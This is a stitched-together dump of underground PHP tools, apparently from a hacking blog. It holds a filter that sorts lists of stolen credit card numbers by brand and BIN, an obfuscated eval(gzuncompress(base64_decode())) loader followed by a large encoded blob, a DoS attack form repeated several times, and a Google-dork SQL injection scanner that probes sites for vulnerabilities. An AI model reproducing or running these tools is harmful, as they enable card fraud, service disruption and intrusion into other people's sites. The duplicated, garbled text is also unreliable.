<?php
/*
+ Coded by: Neverbestboy & WinJin92 (Edited by Gaconit)
*/
function findcc($str){
$str=str_replace(" ","",$str);
for($i=0;$i<=strlen($str);$i++){
if(is_numeric($str[$i])){
$ccNum.=$str[$i];
if(strlen($ccNum)>14){
return $ccNum;
break;
};
}
else $ccNum='';
}
}
if($_POST['concaocao']){
if(strpos($_POST['concaocao'], '.txt')){
// Use TXT FILE
$data = file_get_contents($_POST['concaocao']);
$data = explode(chr(13).chr(10),$data);
}
else{
/* USE POST WAY */
$data = $_POST['concaocao'];
$data = explode("\r\n",$data); // Work only in Window
echo '<b>Total: </b>'.count($data).'<hr>';
}
foreach($data as $key => $value)
{
$ccNum=findcc($value);
if(!$check["$ccNum"]){
$check["$ccNum"] = 1;
if($_POST['binfilter']){
$type = substr($ccNum,0,strlen($_POST['binfilter']));
if($type == $_POST['binfilter'])
{
$cc['bin'][] = array($value);
}
}
else
{
$type = substr($ccNum,0,1);
if($type == 3)
{
$cc['amex'][] = array($value);
}
elseif($type == 4)
{
$cc['visa'][] = array($value);
}
elseif($type == 5)
{
$cc['master'][] = array($value);
}
elseif($type == 6)
{
$cc['discover'][] = array($value);
}
}
$html.="$value\r\n";
$nhtml++;
}
}
$cols = '100%';
$rows = '5';
if(!$_POST['binfilter']){
echo '<pre><b>Amex: </b>'.count($cc['amex']).'<Br><textarea cols="'.$cols.'" rows="'.$rows.'">';
if(count($cc['amex']))foreach($cc['amex'] as $key=>$value){
echo $value[0]."\r\n";
}
echo '</textarea></pre>';
//
echo '<pre><b>Visa: </b>'.count($cc['visa']).'<Br><textarea cols="'.$cols.'" rows="'.$rows.'">';
if(count($cc['visa']))foreach($cc['visa'] as $key=>$value){
echo $value[0]."\r\n";
}
echo '</textarea></pre>';
//
echo '<pre><b>Master: </b>'.count($cc['master']).'<Br><textarea cols="'.$cols.'" rows="'.$rows.'">';
if(count($cc['master']))foreach($cc['master'] as $key=>$value){
echo $value[0]."\r\n";
}
echo '</textarea></pre>';
//
echo '<pre><b>Discover: </b>'.count($cc['discover']).'<Br><textarea cols="'.$cols.'" rows="'.$rows.'">';
if(count($cc['discover']))foreach($cc['discover'] as $key=>$value){
echo $value[0]."\r\n";
}
echo '</textarea></pre>';
}
else{
echo '<pre><b>BIN: </b>'.count($cc['bin']).'<Br><textarea cols="'.$cols.'" rows="'.$rows.'">';
foreach($cc['bin'] as $key=>$value){
echo $value[0]."\r\n";
}
echo '</textarea></pre>';
}
echo '<pre><b>All with order:</b>'.$nhtml.'<Br><textarea cols="'.$cols.'" rows="'.$rows.'">';
if(count($cc['amex']))foreach($cc['amex'] as $key=>$value){
echo $value[0]."\r\n";
}
if(count($cc['visa']))foreach($cc['visa'] as $key=>$value){
echo $value[0]."\r\n";
}
if(count($cc['master']))foreach($cc['master'] as $key=>$value){
echo $value[0]."\r\n";
}
if(count($cc['discover']))foreach($cc['discover'] as $key=>$value){
echo $value[0]."\r\n";
}
echo '</textarea></pre>';
echo '<pre><b>All: </b>'.$nhtml.'<Br><textarea cols="'.$cols.'" rows="'.$rows.'">';
echo $html;
echo '</textarea></pre>';
}
else{
?>
<html>
<title>CC Filter - WinJin92</title>
<center><b>Coded by: WinJin92 & Helper: Neverbestboy [Ver: 2] (Edited by gaconit)</b></center>
<form method="POST" action="?">
<textarea name="concaocao" cols="80" rows="20"></textarea><br>
<b>Warning: </b> Fill "filename" to include cc list from "filename" (cc.txt) Or Paste you CC list to textarea above!<br>
<input type="text" name="binfilter" size="15" value="0"> <b>0</b> is disable BIN Filter!<br>
<br><input type="submit" value="Submit">
</form>
</html>
<? } ?>
<?php // This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited.
$OOO0O0O00=__FILE__;$O00O00O00=__LINE__;$OO00O0000=39036;eval(gzuncompress(base64_decode('eNplj1mPgjAAhP8MSduIsSCihPDgfVvv62XDUQ5FwJZD+fWr2c1uNpuZp8nMl4xAMMbkJWy4cUIjKBBCvgIRMAsgvfCDkMJqVSDv4tvI9WjKofAzFSUsK0j/FytYU5H+In4vDa/MIju+JYxyDi2TU1X5cKgdOxTylKUMuoyazh+EJiMRRGnTodbePG3Xs/ZQY8Vi7PLp0n+2boPJVZ7XcUnyvnroVHZZULO7x7MSX0YNbyWFj9492RhABO1Ot9cfDEfjyXQ2X5Dlar3Z7vaH4+lsWrZDXc8PLtfwFsXJnfE0y4vHs8SSXFcaarOlVWoAIaTT3Azh7yGkfwLOM18j')));return;?>
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
<?php
$ip = $_SERVER['REMOTE_ADDR'];
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
<meta name="author" content="">
<title>PHP DoS, Coded by EXE</title>
</head>
<!-- PHP DOS, coded by EXE -->
<style type="text/css">
<!--
body {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
font-style: normal;
line-height: normal;
color: #FFFFFF;
background-color: #000000;
}
-->
</style>
<!-- PHP DOS, coded by EXE -->
<body>
<center><br><br>
<img src="main.jpg"><br>
<b>Your IP:</b> <font color="red"><?php echo $ip; ?></font> (Don't DoS yourself nub)<br><br>
<form name="input" action="function.php" method="post">
IP:
<input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';">
Time:
<input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';">
Port:
<input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';">
<br><br>
<input type="submit" value=" Start the Attack---> ">
<br><br>
<center>
After initiating the DoS attack, please wait while the browser loads.
</center>
</form>
</center>
<!-- PHP DOS, coded by EXE -->
</body>
</html>
</style>
<!-- PHP DOS, coded by EXE -->
<body>
<center><br><br>
<img src="main.jpg"><br>
<b>Your IP:</b> <font color="red"><?php echo $ip; ?></font> (Don't DoS yourself nub)<br><br>
<form name="input" action="function.php" method="post">
IP:
<input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';">
Time:
<input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';">
Port:
<input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';">
<br><br>
<input type="submit" value=" Start the Attack---> ">
<br><br>
<center>
After initiating the DoS attack, please wait while the browser loads.
</center>
</form>
</center>
<!-- PHP DOS, coded by EXE -->
</body>
</html>
<?php
$ip = $_SERVER['REMOTE_ADDR'];
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
<meta name="author" content="">
<title>PHP DoS, Coded by EXE</title>
</head>
<!-- PHP DOS, coded by EXE -->
<style type="text/css">
<!--
body {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
font-style: normal;
line-height: normal;
color: #FFFFFF;
background-color: #000000;
}
-->
</style>
<!-- PHP DOS, coded by EXE -->
<body >
<center><br><br>
<img src="main.jpg"><br>
<b>Your IP:</b> <font color="red"><?php echo $ip; ?></font> (Don't DoS yourself nub)<br><br>
<form name="input" action="function.php" method="post">
IP:
<input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';">
Time:
<input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';">
Port:
<input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';">
<br><br>
<input type="submit" value=" Start the Attack---> ">
<br><br>
<center>
After initiating the DoS attack, please wait while the browser loads.
</center>
</form>
</center>
<!-- PHP DOS, coded by EXE -->
</body>
</html>
<html>
<head>
<title>Masokis SQLi Scanner</title>
<style>
body{
background: #0F0F0F;
color: #F9F9F9;
font-family: monospace;
font-size: 12px;
}
input{
background: #0F0FCC;
border: 1px solid #00FFCC;
color: #00FFCC;
}
h2{
color: #55FFCC;
}
a{ color: #5A5A5A; text-decoration: none; }
a:visited, a:active{ color: #5C5C5C; text-decoration: line-through; }
a:hover{ color: #00FFCC; text-decoration: line-through; }
.effectok:hover { text-decoration: underline; }
.effectfalse:hover { text-decoration: line-through; }
</style>
</head>
<body align="center">
<?php
echo "<h2>SQLI Online Scanner</h2>";
echo "<form action='' method='post'>";
echo "<b>Dork</b>: <p><input type='text' name='dork' value='inurl:php?=id+site'></p>";
echo "<input type='submit' value=' Let's Get Started! '>";
echo "<hr><br />";
if($_POST['dork']) {
@set_time_limit(0);
@error_reporting(0);
@ignore_user_abort(true);
ini_set('memory_limit', '128M');
$google = "http://www.google.com/cse?cx=013269018370076798483%3Awdba3dlnxqm&q=REPLACE_DORK&num=100&hl=en&as_qdr=all&start=REPLACE_START&sa=N";
$i = 0;
$a = 0;
$b = 0;
while($b <= 900) {
$a = 0;
flush(); ob_flush();
echo "@ Pages: [ $b ]<br />";
echo "@ Dork: [ <b>".$_POST['dork']."</b> ]<br />";
echo "@ Google Scanner ! .<br />";
flush(); ob_flush();
if(preg_match("/did not match any documents/", Connect_Host(str_replace(array("REPLACE_DORK", "REPLACE_START"), array("".$_POST['dork']."", "$b"), $google)), $val)) {
echo "See something but not found??<br />";
flush(); ob_flush();
break;
}
preg_match_all("/<h2 class=(.*?)><a href=\"(.*?)\" class=(.*?)>/", Connect_Host(str_replace(array("REPLACE_DORK", "REPLACE_START"), array("".$_POST['dork']."", "$b"), $google)), $sites);
echo "Result of injection...<br />";
flush(); ob_flush();
while(1) {
if(preg_match("/You have an error in your SQL|Division by zero in|supplied argument is not a valid MySQL result resource in|Call to a member function|Microsoft JET Database|ODBC Microsoft Access Driver|Microsoft OLE DB Provider for SQL Server|Unclosed quotation mark|Microsoft OLE DB Provider for Oracle|Incorrect syntax near|SQL query failed/", Connect_Host(str_replace("=", "='", $sites[2][$a])))) {
echo "<a href='".Clean(str_replace("=", "='", $sites[2][$a]))."' target='_blank' class='effectok'>".str_replace("=", "='", $sites[2][$a])."</a> <== <font color='green'>Yeah..Vulnerable ! </font><br />";
} else {
echo "<a href='".Clean(str_replace("=", "='", $sites[2][$a]))."' target='_blank' class='effectfalse'>".str_replace("=", "='", $sites[2][$a])."</a> <== <font color='red'>Not Vulnerable..sorry! </font><br />";
flush(); ob_flush();
}
if($a > count($sites[2])-2) {
echo "Lets..scan other page.. <br />";
break;
}
$a = $a+1;
}
$b = $b+100;
}
}
function Connect_Host($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_FOLLOW, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$data = curl_exec($ch);
if($data) {
return $data;
} else {
return 0;
}
}
function Clean($text) {
return htmlspecialchars($text, ENT_QUOTES);
}
?>
</body>
</html>
<br> masokis[a]gmail.com</br><p>
<center> This tools for education purpose only !!!</center>
05:30
zeko sock
Posted in: